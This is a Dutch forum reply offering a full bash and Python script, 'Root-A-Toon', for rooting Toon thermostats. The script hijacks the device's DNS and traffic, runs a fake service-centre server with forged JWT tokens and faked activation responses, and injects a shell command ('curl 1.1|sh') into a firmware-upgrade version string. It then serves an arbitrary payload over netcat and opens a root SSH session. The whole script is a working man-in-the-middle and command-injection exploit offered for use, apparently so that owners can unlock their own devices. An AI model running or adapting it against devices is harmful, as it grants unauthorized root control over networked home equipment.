Er is inmiddels wel wat mogelijk. Zou je dit nieuwe script willen proberen? Als het goed is heb je geen activering nodig (kan wel een paar minuten duren voordat ie hem pakt):
#!/bin/bash
#
# Root-A-Toon (new) — works on non-activated Toons (firmware 5.x and recovery firmware 4.9.x)
#
# Strategy:
# 1. Detect Toon IP from DNS query, block 443 to kill VPN
# 2. DNS: feed.hae.int -> our wlan0 IP
# 3. DNAT: redirect ALL port 31080 traffic from the Toon to us
# 4. Fake HTTP server on 31080 handles both:
# - REST/JSON requests (token, schedules) — responds with fake JWT token
# - Boxtalk XML requests — responds with CheckFirmwareUpdate push
# 5. When GetUpgrade comes, inject malicious version string (command injection)
#
# Works on both firmware 5.x and the 4.9.x recovery firmware
#
# Usage: sudo bash root-toon-new.sh [payload-file] [toon-ip]
TOONIP=""
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
HANDLER_PID=""
function cleanup() {
echo ""
echo "Cleaning up..."
[ -n "$HANDLER_PID" ] && kill $HANDLER_PID 2>/dev/null
kill $(jobs -p) 2>/dev/null
wait 2>/dev/null
ip addr del 1.0.0.1/32 dev lo 2>/dev/null
rm -f /tmp/toonroot-server.py /tmp/toonroot-done
[ -f /tmp/dnsmasq-orig.conf ] && cp /tmp/dnsmasq-orig.conf /etc/dnsmasq.conf && systemctl restart dnsmasq 2>/dev/null
rm -f /tmp/dnsmasq-orig.conf /tmp/dnsmasq-toonroot.conf
/sbin/iptables -D FORWARD -p tcp --dport 443 -j REJECT --reject-with tcp-reset 2>/dev/null
/sbin/iptables -D FORWARD -p tcp --dport 8883 -j REJECT --reject-with tcp-reset 2>/dev/null
/sbin/iptables -t nat -D PREROUTING -i wlan0 -p tcp --dport 31080 -j DNAT --to-destination $WLANIP:31080 2>/dev/null
/sbin/iptables -t nat -D PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 53 2>/dev/null
/sbin/iptables -t nat -D PREROUTING -i wlan0 -p tcp --dport 53 -j REDIRECT --to-ports 53 2>/dev/null
/sbin/iptables -C FORWARD -i wlan0 -o eth0 -j ACCEPT 2>/dev/null || \
/sbin/iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
/sbin/iptables -C FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT 2>/dev/null || \
/sbin/iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
exit 0
}
trap cleanup INT TERM EXIT
# Cleanup earlier bad runs
rm -f /tmp/toonroot-server.py /tmp/toonroot-done
/sbin/iptables -D FORWARD -p tcp --dport 443 -j REJECT --reject-with tcp-reset 2>/dev/null
/sbin/iptables -D FORWARD -p tcp --dport 8883 -j REJECT --reject-with tcp-reset 2>/dev/null
/sbin/iptables -t nat -D PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 53 2>/dev/null
/sbin/iptables -t nat -D PREROUTING -i wlan0 -p tcp --dport 53 -j REDIRECT --to-ports 53 2>/dev/null
/sbin/iptables -t nat -D PREROUTING -i wlan0 -p tcp --dport 31080 -j DNAT --to-destination 127.0.0.1:31080 2>/dev/null
killall -9 nc 2>/dev/null
for addr in $(ip -4 addr show lo | grep -v "127.0.0.1" | grep inet | awk '{print $2}'); do
ip addr del $addr dev lo 2>/dev/null
done
if netstat -anp 2>/dev/null | grep LISTEN | grep -q ":80 "
then
echo "WARNING: Something is using port 80. We need it for the payload server."
fi
if ! [ $1 ]
then
echo "Default payload loaded: Kill qt-gui"
PAYLOAD="killall -9 qt-gui"
else
[ -f $1 ] || { echo "Payload file does not exist: $1"; exit 1; }
PAYLOAD=`cat $1`
fi
TOONIP=${2:-""}
echo "=== Root-A-Toon (new) ==="
echo "Works on non-activated Toons — firmware 5.x and 6.x"
echo ""
if [ -n "$TOONIP" ]; then
echo "[1] Toon IP: $TOONIP"
else
echo "[1] Waiting for Toon DNS query (connect Toon to WiFi)..."
DNSOUT=""
while [ -z "$DNSOUT" ]; do
DNSOUT=`tcpdump -n -i wlan0 'udp port 53' -c 1 2>/dev/null`
done
TOONIP=`echo $DNSOUT | cut -d\ -f3 | cut -d\. -f1,2,3,4`
echo " Detected Toon IP: $TOONIP"
fi
WLANIP=$(ip -4 addr show wlan0 | grep -oP 'inet \K[0-9.]+')
echo " Pi wlan0 IP: $WLANIP"
echo ""
echo "[2] Blocking VPN/IoT + DNS override + DNAT redirect..."
# REJECT with RST instead of DROP — makes VPN/IoT fail immediately instead of timeout
/sbin/iptables -I FORWARD -p tcp --dport 443 -j REJECT --reject-with tcp-reset
/sbin/iptables -I FORWARD -p tcp --dport 8883 -j REJECT --reject-with tcp-reset
echo " REJECT: ports 443 (VPN/HTTPS) and 8883 (MQTT) with TCP RST"
# DNS: feed.hae.int -> us, AWS IoT endpoint -> nowhere (instant fail)
echo "address=/feed.hae.int/$WLANIP" > /tmp/dnsmasq-toonroot.conf
echo "address=/iot.eu-west-1.amazonaws.com/0.0.0.0" >> /tmp/dnsmasq-toonroot.conf
echo "address=/iot.amazonaws.com/0.0.0.0" >> /tmp/dnsmasq-toonroot.conf
cp /etc/dnsmasq.conf /tmp/dnsmasq-orig.conf
cat /tmp/dnsmasq-toonroot.conf >> /etc/dnsmasq.conf
systemctl restart dnsmasq
echo " DNS: feed.hae.int -> $WLANIP, IoT endpoints -> 0.0.0.0"
# Intercept DNS so hardcoded resolvers (e.g. 8.8.8.8) still hit our dnsmasq
/sbin/iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 53
/sbin/iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 53 -j REDIRECT --to-ports 53
echo " REDIRECT: all wlan0 :53 -> local dnsmasq (intercept external DNS)"
# DNAT: redirect ALL port 31080 traffic from wlan0 to our local server
/sbin/iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 31080 -j DNAT --to-destination $WLANIP:31080
echo " DNAT: all wlan0 :31080 -> $WLANIP:31080"
/sbin/ip addr add 1.0.0.1/32 dev lo 2>/dev/null
echo ""
echo "[3] Starting fake service center on port 31080..."
echo " Handles: token requests (fake JWT), boxtalk XML (firmware update injection)"
echo ""
# Write the Python HTTP server that handles both REST/JSON and boxtalk XML
cat > /tmp/toonroot-server.py << 'PYEOF'
import http.server
import json
import base64
import sys
import os
COMMONNAME = ""
PAYLOAD_SENT = False
TOKEN_EXPIRY = 30
def make_fake_jwt():
import time as _time
now = int(_time.time())
header = base64.urlsafe_b64encode(b'{"alg":"HS256","typ":"JWT"}').rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({
"sub": "toon-device",
"commonName": "fakedevice",
"agreements": ["SoftwareUpdates"],
"organisation": "quby",
"exp": now + TOKEN_EXPIRY,
"iat": now,
"expirationTime": now + TOKEN_EXPIRY
}).encode()).rstrip(b'=').decode()
return f"{header}.{payload}.fakesig"
def make_token_body():
return json.dumps({
"access_token": make_fake_jwt(),
"refresh_token": "fakerefresh",
"expires_in": TOKEN_EXPIRY,
"token_type": "Bearer",
"scope": "*"
})
def make_check_firmware(commonname):
uuid = f"{commonname}:hcb_config" if commonname else "unknown:hcb_config"
cn = commonname or "unknown"
return f'''<action xmlns:u="http://schema.homeautomationeurope.com/quby" class="request" uuid="0429a450-bd0c-11e0-962b-0800200c9a66" destuuid="{uuid}" destcommonname="{cn}" requestid="SC-1" serviceid="urn:hcb-hae-com:serviceId:specific1">
<u:CheckFirmwareUpdate xmlns:u="http://schema.homeautomationeurope.com/quby">
<Version>99.99.99</Version>
</u:CheckFirmwareUpdate>
</action>'''
def make_upgrade_response(commonname, requestid):
uuid = f"{commonname}:hcb_config" if commonname else "unknown:hcb_config"
cn = commonname or "unknown"
rid = requestid or "1"
return f'''<action xmlns:u="http://schema.homeautomationeurope.com/quby" class="response" uuid="0429a450-bd0c-11e0-962b-0800200c9a66" destuuid="{uuid}" destcommonname="{cn}" requestid="{rid}" serviceid="urn:hcb-hae-com:serviceId:specific1">
<u:GetUpgradeResponse xmlns:u="http://schema.homeautomationeurope.com/quby">
<DoUpgrade>true</DoUpgrade>
<Ver>7.;curl 1.1|sh;;</Ver>
<Success>true</Success>
<Reason>Success</Reason>
<ReasonDetails>Success</ReasonDetails>
</u:GetUpgradeResponse>
</action>'''
def make_activation_info_response(commonname, requestid):
uuid = f"{commonname}:happ_scsync" if commonname else "unknown:happ_scsync"
cn = commonname or "unknown"
rid = requestid or "1"
return f'''<action xmlns:u="http://schema.homeautomationeurope.com/quby" class="response" uuid="0429a450-bd0c-11e0-962b-0800200c9a66" destuuid="{uuid}" destcommonname="{cn}" requestid="{rid}" serviceid="urn:hcb-hae-com:serviceId:quby">
<u:getInformationForActivationCodeResponse>
<Success>true</Success>
<Reason>Success</Reason>
</u:getInformationForActivationCodeResponse>
</action>'''
def make_register_response(commonname, requestid):
uuid = f"{commonname}:happ_scsync" if commonname else "unknown:happ_scsync"
cn = commonname or "unknown"
rid = requestid or "1"
return f'''<action xmlns:u="http://schema.homeautomationeurope.com/quby" class="response" uuid="0429a450-bd0c-11e0-962b-0800200c9a66" destuuid="{uuid}" destcommonname="{cn}" requestid="{rid}" serviceid="urn:hcb-hae-com:serviceId:quby">
<u:RegisterQubyResponse>
<StartDate>0</StartDate>
<EndDate>-1</EndDate>
<Status>IN_SUPPLY</Status>
<ProductVariant>Toon</ProductVariant>
<SoftwareUpdates>true</SoftwareUpdates>
<Rights>
<ElectricityDisplay>true</ElectricityDisplay>
<GasDisplay>false</GasDisplay>
<HeatDisplay>false</HeatDisplay>
<SmartHeatDisplayBasic>false</SmartHeatDisplayBasic>
<SmartHeatDisplayFull>false</SmartHeatDisplayFull>
<ProduDisplay>false</ProduDisplay>
<ElectricityOtherProvider>false</ElectricityOtherProvider>
<GasOtherProvider>false</GasOtherProvider>
<HeatWinner>false</HeatWinner>
</Rights>
<CustomerName>TSC</CustomerName>
<Success>true</Success>
<Reason>Success</Reason>
<ReasonDetails>Success</ReasonDetails>
</u:RegisterQubyResponse>
</action>'''
class ToonHandler(http.server.BaseHTTPRequestHandler):
count = 0
def log_message(self, format, *args):
pass
def extract_commonname(self, body):
global COMMONNAME
import re
m = re.search(r'commonname="([^"]*)"', body)
if m:
COMMONNAME = m.group(1)
return COMMONNAME
def extract_requestid(self, body):
import re
m = re.search(r'requestid="([^"]*)"', body)
return m.group(1) if m else "1"
def do_GET(self):
ToonHandler.count += 1
if "device-token-service" in self.path:
body = make_token_body().encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", len(body))
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(body)
print(f" [{ToonHandler.count}] GET {self.path} — sent fake JWT (exp in {TOKEN_EXPIRY}s)", flush=True)
else:
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", 2)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(b"{}")
print(f" [{ToonHandler.count}] GET {self.path} — sent empty 200", flush=True)
def do_PUT(self):
ToonHandler.count += 1
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length).decode("utf-8", errors="replace") if length else ""
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", 2)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(b"{}")
print(f" [{ToonHandler.count}] PUT {self.path} — sent 200 OK", flush=True)
def do_POST(self):
global PAYLOAD_SENT
ToonHandler.count += 1
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length).decode("utf-8", errors="replace") if length else ""
if "device-token-service" in self.path:
resp = make_token_body().encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", len(resp))
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(resp)
print(f" [{ToonHandler.count}] POST {self.path} — token refresh, sent new JWT (exp in {TOKEN_EXPIRY}s)", flush=True)
elif "getInformationForActivationCode" in body:
cn = self.extract_commonname(body)
rid = self.extract_requestid(body)
resp = make_activation_info_response(cn, rid).encode()
self.send_response(200)
self.send_header("Content-Type", "application/xml; charset=utf-8")
self.send_header("Content-Length", len(resp))
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(resp)
print(f"", flush=True)
print(f"*** [{ToonHandler.count}] ACTIVATION: getInformationForActivationCode — sent Success!", flush=True)
print(f" (Now confirm activation on the Toon)", flush=True)
elif "RegisterQuby" in body:
cn = self.extract_commonname(body)
rid = self.extract_requestid(body)
resp = make_register_response(cn, rid).encode()
self.send_response(200)
self.send_header("Content-Type", "application/xml; charset=utf-8")
self.send_header("Content-Length", len(resp))
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(resp)
print(f"", flush=True)
print(f"*** [{ToonHandler.count}] ACTIVATION: RegisterQuby — sent agreement details!", flush=True)
print(f" Toon should now be ACTIVATED! Reboot to continue.", flush=True)
elif "GetUpgrade" in body:
cn = self.extract_commonname(body)
rid = self.extract_requestid(body)
resp = make_upgrade_response(cn, rid).encode()
self.send_response(200)
self.send_header("Content-Type", "application/xml; charset=utf-8")
self.send_header("Content-Length", len(resp))
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(resp)
print(f"", flush=True)
print(f">>> [{ToonHandler.count}] GOT GetUpgrade! Sent malicious GetUpgradeResponse!", flush=True)
PAYLOAD_SENT = True
with open("/tmp/toonroot-done", "w") as f:
f.write("done")
elif "action class" in body or "<u:" in body:
cn = self.extract_commonname(body)
import re
action_m = re.search(r'<u:(\w+)', body)
action = action_m.group(1) if action_m else "unknown"
resp = make_check_firmware(cn).encode()
self.send_response(200)
self.send_header("Content-Type", "application/xml; charset=utf-8")
self.send_header("Content-Length", len(resp))
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(resp)
print(f" [{ToonHandler.count}] Boxtalk: {action} — pushed CheckFirmwareUpdate", flush=True)
else:
# Could be REST JSON POST or unknown
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", 2)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(b"{}")
ct = self.headers.get("Content-Type", "?")
print(f" [{ToonHandler.count}] POST {self.path} ({ct}) — sent 200 OK", flush=True)
def do_DELETE(self):
ToonHandler.count += 1
self.send_response(200)
self.send_header("Content-Length", 0)
self.send_header("Connection", "close")
self.end_headers()
print(f" [{ToonHandler.count}] DELETE {self.path} — sent 200 OK", flush=True)
server = http.server.HTTPServer(("0.0.0.0", 31080), ToonHandler)
server.timeout = 2
while not os.path.exists("/tmp/toonroot-done"):
server.handle_request()
server.server_close()
PYEOF
python3 /tmp/toonroot-server.py &
HANDLER_PID=$!
sleep 0.5
if ! kill -0 $HANDLER_PID 2>/dev/null; then
echo "ERROR: Failed to start Python server on port 31080"
exit 1
fi
echo " Server running (PID: $HANDLER_PID)"
echo ""
# Wait for the GetUpgrade to be handled
while [ ! -f /tmp/toonroot-done ]; do
sleep 1
# Re-check file before checking PID (Python may write file and exit quickly)
[ -f /tmp/toonroot-done ] && break
if ! kill -0 $HANDLER_PID 2>/dev/null; then
echo "ERROR: Server died unexpectedly"
exit 1
fi
done
echo " Starting payload server on 1.0.0.1:80..."
/sbin/iptables -D FORWARD -p tcp --dport 443 -j REJECT --reject-with tcp-reset 2>/dev/null
/sbin/iptables -D FORWARD -p tcp --dport 8883 -j REJECT --reject-with tcp-reset 2>/dev/null
timeout 80 bash -c "echo '$PAYLOAD' | nc -q 2 -Nl 1.0.0.1 80" &
PAYLOAD_PID=$!
echo ""
echo "[4] Waiting for Toon to fetch payload from 1.0.0.1:80..."
echo " (this can take up to a minute)"
wait $PAYLOAD_PID
SUCCESS=$?
if [ $SUCCESS -ne 0 ]
then
echo "Payload was not picked up by the Toon. Please try again."
exit 1
fi
if [ "$PAYLOAD" == "killall -9 qt-gui" ]
then
echo "Done! qt-gui killed (test run)."
exit
fi
echo "Done sending the payload! Following the toon root log file now to see progress"
sleep 2
LASTLOG=""
while true
do
CURLOUTPUT=`curl --connect-timeout 1 http://$TOONIP/rsrc/log 2>/dev/null`
if [ "$CURLOUTPUT" != "$LASTLOG" ] && [ -n "$CURLOUTPUT" ]; then
NEWLINES=$(comm -13 <(echo "$LASTLOG") <(echo "$CURLOUTPUT"))
[ -n "$NEWLINES" ] && echo "$NEWLINES"
LASTLOG="$CURLOUTPUT"
fi
echo "$CURLOUTPUT" | grep -q "Finished fixing files" && break
sleep 1
done
ssh-keygen -f "/root/.ssh/known_hosts" -R $TOONIP
ssh -o StrictHostKeyChecking=no root@$TOONIP